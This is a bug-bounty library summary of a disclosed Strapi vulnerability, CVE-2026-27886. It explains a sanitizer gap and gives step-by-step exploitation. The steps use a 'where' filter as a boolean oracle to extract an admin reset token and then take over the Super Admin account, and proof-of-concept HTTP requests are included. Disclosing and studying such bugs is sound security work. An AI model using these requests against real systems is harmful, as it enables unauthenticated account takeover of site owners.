# CVE-2026-27886: Unauthenticated Boolean-Oracle Exfiltration of Administrator Secrets in Strapi

Strapi's Content API sanitizer ignores unknown top-level query keys, letting unauthenticated attackers use a where[updatedBy][resetPasswordToken] filter as a boolean oracle to extract admin reset tokens and take over Super Admin accounts.

- Payout: Research
- Severity: critical
- Program: Strapi
- Write-up by: James Doll
- Disclosed: 2026-05-22
- CVE: CVE-2026-27886
- Write-up quality: 9/10
- Original: https://bishopfox.com/blog/cve-2026-27886-unauthenticated-boolean-oracle-exfiltration-of-administrator-secrets-in-strapi
- Library page: https://bugbountylibrary.com/r/blog%3Abishopfox-com-blog-cve-2026-27886-unauthenticated-boolean-oracle-exfiltration-of-administrator-secrets-in-strapi
- Tags: area:web domain:api domain:web impact:ato impact:data-leak kind:research platform:research sev:critical tech:nodejs tech:rest technique:blind technique:source-review vuln:access-control vuln:account-takeover vuln:auth-bypass vuln:info-disclosure

**Target:** Strapi Content API collection endpoint (GET /api/<pluralName>)
**Root cause:** validateQuery and sanitizeQuery only process filters/sort/fields/populate and pass all other top-level keys through; transformQueryParams spreads unrecognized keys (like where) into the DB query object, reaching strapi.db.query().findMany() as an attacker-controlled WHERE clause with relation traversal.
**Steps:**
1. Confirm a Public-readable collection: `GET /api/articles` returns non-zero meta.pagination.total.
2. Differential check: `GET /api/articles?where[id][$lt]=-1` returns total 0 on vulnerable, same total on patched.
3. Trigger token creation: `POST /admin/forgot-password` with `{"email":"admin@target"}` (204 regardless).
4. Enumerate admin email via `GET /api/articles?where[updatedBy][email][$startsWith]=<prefix>` reading meta.pagination.total.
5. Extract resetPasswordToken char-by-char via `GET /api/articles?where[updatedBy][resetPasswordToken][$startsWith]=<prefix>` over alphabet [0-9a-f], 40 chars.
6. Submit `POST /admin/reset-password` with `{"resetPasswordToken":"<40-char hex>","password":"<new>"}` to receive a Super Admin JWT.
**How found:** Code review of the sanitizer pipeline: noticed validateQuery/sanitizeQuery destructure only four documented keys and silently ignore the rest, then traced transformQueryParams' `{...rest, ...query}` spread into strapi.db.query().findMany(), realizing an attacker-supplied `where` survives to the SQL layer with relation traversal.
**Exploitation:** No auth or interaction needed. Attacker triggers forgot-password to populate reset_password_token, then uses the where[updatedBy][resetPasswordToken][$startsWith] filter on any Public-readable collection to binary-search the 40-char hex token via meta.pagination.total (1=match, 0=no match), ~640 probes worst case. Recovered token is submitted to /admin/reset-password with a chosen password, returning a signed Super Admin JWT granting full instance control.
**Escalation:** Chains the info-leak oracle with two legitimate unauthenticated admin endpoints (forgot-password, reset-password) to convert a private field leak into full Super Admin account takeover; email also recoverable via same oracle so no prior knowledge needed.
**Insight:** When a framework sanitizer destructures a fixed set of keys and ignores the rest, look for a downstream spread that re-emits unknown keys into a privileged sink (here the ORM where clause). Private schema fields (private:true) can still be leaked as a boolean oracle via count/pagination totals even when never serialized.

## Proof of concept (copied exactly from the original report)

**Boolean-oracle request leaking admin reset token**

```
GET /api/articles?where[updatedBy][resetPasswordToken][$startsWith]=d HTTP/1.1 
Host: 127.0.0.1:1337
```

**Forgot-password request to populate reset token**

```
POST /admin/forgot-password HTTP/1.1 
Host: target 
Content-Type: application/json 
 
{"email":"[email protected]"}
```

**Reset-password request returning Super Admin JWT**

```
POST /admin/reset-password HTTP/1.1 
Host: target 
Content-Type: application/json 
 
{"resetPasswordToken":"<40-char hex>","password":"<new password>"}
```

## Write-ups of the same bug (oldest first)
- 2026-05-14: [Strapi may leak sensitive data via relational filtering due to lack of query sanitization](https://bugbountylibrary.com/r/ghsa%3AGHSA-rjg2-95x7-8qmx) — WildWestCyberSecurity
- 2026-05-22: [CVE-2026-27886: Unauthenticated Boolean-Oracle Exfiltration of Administrator Secrets in Strapi](https://bugbountylibrary.com/r/blog%3Abishopfox-com-blog-cve-2026-27886-unauthenticated-boolean-oracle-exfiltration-of-administrator-secrets-in-strapi) — James Doll (this one)

